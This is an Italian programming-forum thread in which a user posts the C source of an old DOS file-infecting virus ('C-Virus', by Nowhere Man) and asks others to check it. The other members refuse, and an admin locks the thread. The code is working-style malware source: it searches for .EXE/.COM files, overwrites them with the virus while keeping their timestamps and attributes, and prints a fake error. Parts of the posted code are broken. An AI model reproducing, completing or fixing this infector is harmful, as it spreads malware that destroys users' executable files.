Questo sito utilizza cookies, anche di terze parti, per mostrare pubblicità e servizi in linea con il tuo account. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - Aiuto
Forum - C/C++ - Aiuto

Avatar
Tullio (Normal User)
Newbie


Messaggi: 15
Iscritto: 21/06/2009

Segnala al moderatore
Postato alle 13:27
Mercoledì, 08/07/2009
Questo topic è stato chiuso dal moderatore

potreste controllare questo codice sorgente?
(nn l'ho fatto io, l'ho trovato su internet)

/* C-Virus:  A generic .COM and .EXE infector

   Written by Nowhere Man

   Project started and completed on 6-24-91

   Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/


#pragma inline                              // Compile to .ASM

#include <dir.h>
#include <dos.h>
#include <io.h>
#include <stdio.h>

void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);

#define DEBUG
#define ONE_KAY   1024                      // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300)               // 6k+ size minimum
#define SIGNATURE "NMAN"                    // Sign of infection

int main(void)
{
    /* The main program */

    void spread(char *nome, char *Vittima);             // Perform infection
    small_print("Out of memory\r\n");       // Print phony error
    return(1);                         // Fake failure...
}

void hostile_activity(void)
{
    /* Put whatever you feel like doing here...I chose to
       make this part harmless, but if you're feeling
       nasty, go ahead and have some fun... */

    small_print("\a\a\aAll files infected.  Mission complete.\r\n");
    exit(2);
}

int infected(char *fname)
{
    /* This function determines if fname is infected */

    FILE *fp;                     // File handle
    char sig[5];                       // Virus signature

    fp = fopen(fname, "rb");
    fseek(fp, 28L, SEEK_SET);
    fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
    printf("Signature for %s:  %s\n", fname, sig);
#endif
    fclose(fp);
    return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}

void small_print(char *string)
{
    /* This function is a small, quick print routine */

    asm
    {
         push si
         mov  si,string
         mov  ah,0xE
    }

print:   asm {
         lodsb
         or   al,al
         je   finish
         int  0x10
         jmp  short print
    }
finish: asm   pop  si
}

void spread(char *old_name, char *new_name)
{
    /* This function infects new_name with old_name */


    /* Variable declarations */

    FILE *old, *new;                   // File handles
    struct ftime file_time;                         // Old file date,
time
    int attrib;                        // Old attributes
    long old_size, virus_size;              // Sizes of files
    char *virus_code = NULL;           // Pointer to virus
    int old_handle, new_handle;             // Handles for files


    /* Perform the infection */

#ifdef DEBUG
    printf("Infecting %s with %s...\n", new_name, old_name);
#endif
    old = fopen(old_name, "rb");            // Open virus
    new = fopen(new_name, "rb");            // Open victim
    old_handle = fileno(old);               // Get file handles
    new_handle = fileno(new);
    old_size = filelength(new_handle);      // Get old file size
    virus_size = filelength(old_handle);         // Get virus size
    attrib = _chmod(new_name, 0);           // Get old attributes
    getftime(new_handle, &file_time);       // Get old file time
    fclose(new);                       // Close the virusee
    _chmod(new_name, 1, 0);                 // Clear any read-only
    unlink(new_name);                  // Erase old file
    new = fopen(new_name, "wb");            // Open new virus
    new_handle = fileno(new);
    virus_code = malloc(virus_size);        // Allocate space
    fread(virus_code, virus_size, 1, old);       // Read virus from old
    fwrite(virus_code, virus_size, 1, new);         // Copy virus to new
    _chmod(new_name, 1, attrib);            // Replace attributes
    chsize(new_handle, old_size);           // Replace old size
    setftime(new_handle, &file_time);       // Replace old time


    /* Clean up */

    fcloseall();                       // Close files
    free(virus_code);                  // Free memory
}

char *victim(void)
{
    /* This function returns the virus's next victim */


    /* Variable declarations */

    char *types[] = {"*.EXE", "*.COM"};          // Potential victims
    static struct ffblk ffblk;              // DOS file block
    int done;                     // Indicates finish
    int index;                         // Used for loop


    /* Find our victim */

    if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
         return(_argv[1]);

    for (index = 0; index < sizeof(types); index++) {
         done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
FA_SYSTEM | FA_ARCH);
         while (!done) {
#ifdef DEBUG
              printf("Scanning %s...\n", ffblk.ff_name);
#endif
              /* If you want to check for specific days of the week,
                 months, etc., here is the place to insert the
                 code (don't forget to "#include <time.h>"!) */

              if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
TOO_SMALL))
                   return(ffblk.ff_name);
              done = findnext(&ffblk);
         }
    }


    /* If there are no files left to infect, have a little fun... */

    hostile_activity();
    return(0);                         // Prevents warning
}



Tullio!!!
PM
Avatar
gio97 (Ex-Member)
Guru


Messaggi: 715
Iscritto: 25/04/2009

Segnala al moderatore
Postato alle 13:37
Mercoledì, 08/07/2009
Cosa intendi con "controllare"?

Ultima modifica effettuata da gio97 il 08/07/2009 alle 13:37


"Ditemi, sapete chi è... il ciaffo?"
"Questo essere trae origine da un arcaico lamer.
Tanto tempo fa, in una chat oscena oscena, il lamer f1192 si lamentava di non poter inserire le graffe, perché non aveva... IL CIAFFO"(L'uomo che sussurrava ai ciaffi)
PM
Avatar
theprogrammer (Normal User)
Guru^2


Messaggi: 2509
Iscritto: 28/01/2009

Segnala al moderatore
Postato alle 14:13
Mercoledì, 08/07/2009
Non si parla di virus in questo forum ...

Attendo un moderatore ...


- Se le mie risposte non vi soddisfano, ignoratele, altrimenti un "grazie" e' molto gradito ...

"Dai un pesce (programma) a un uomo e lo nutrirai per un giorno. Insegnagli a pescare (programmare) e lo nutrirai per tutta la vita." (niente pappa pronta)
PM
Avatar
pierotofy (Admin)
Guru^2


Messaggi: 6109
Iscritto: 04/12/2003

Segnala al moderatore
Postato alle 16:52
Mercoledì, 08/07/2009
Qui theprogrammer ha ragione. Locked.


Seguimi su Twitter: http://www.twitter.com/pierotofy

Fai quello che ti piace, e fallo bene.
PM